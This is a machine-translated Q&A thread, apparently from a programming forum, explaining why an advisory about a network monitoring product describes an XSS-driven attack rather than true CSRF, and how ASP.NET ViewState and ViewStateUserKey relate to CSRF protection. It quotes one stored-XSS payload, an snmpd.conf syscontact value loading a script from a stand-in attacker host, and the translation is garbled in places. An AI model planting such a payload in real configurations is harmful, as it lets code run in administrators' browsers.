2012-07-22 42 views

回答

1

viewstate是一种意味着持续跨回发的视图状态(即控件的属性值)。如果这个状态可以被攻击者猜出或者伪造,那么攻击者也可以伪造一个真实的跨站请求。

mentioned case,似乎攻击实际上需要一个跨站点脚本漏洞的CSRF攻击:

通过XSS和CSRF的组合,用户可以添加到Web应用程序通过配置snmpd.conf文件到指向一个攻击者控制的JavaScript文件:

syscontact <script src="http://attacker/evil.js"></script> 

所以具有目标原点内执行的攻击代码,该请求伪造攻击不是“截面-S ite'。除此之外,由于视图状态在某些情况下可以预测,因此不能防止CSRF攻击,供应商向视图状态机制添加了一些不可预知的信息。在ASP.NET中,这被称为ViewStateUserKey property,它基本上是每个用户的私有密钥,用于视图状态的MAC计算。

但由于该漏洞的描述说,似乎他们已经在使用这样的保护措施:

[...] NPM也容易受到CSRF攻击,尽管它利用VIEWSTATE保护的事实。

因此,这又是一个跨站点脚本漏洞,而不是跨站点请求伪造漏洞。因为如果您已经能够从网站内执行JavaScript代码,则您已经完全控制网站。

+0

谢谢!所以如果我正确地理解了这个问题,如果目标系统没有XSS的可靠性,并且不使用ViewStateUserKey属性,那么给定的请求仍然容易受到CSRF的影响? – rook 2012-07-22 21:22:56

+0

@Rook它主要取决于存储在视图状态中的信息以及这些信息是否可预测。有时视图状态也包含某种随每个请求而增加的计数器,因此不太可预测。但它可能在某些情况下。 – Gumbo 2012-07-22 21:43:52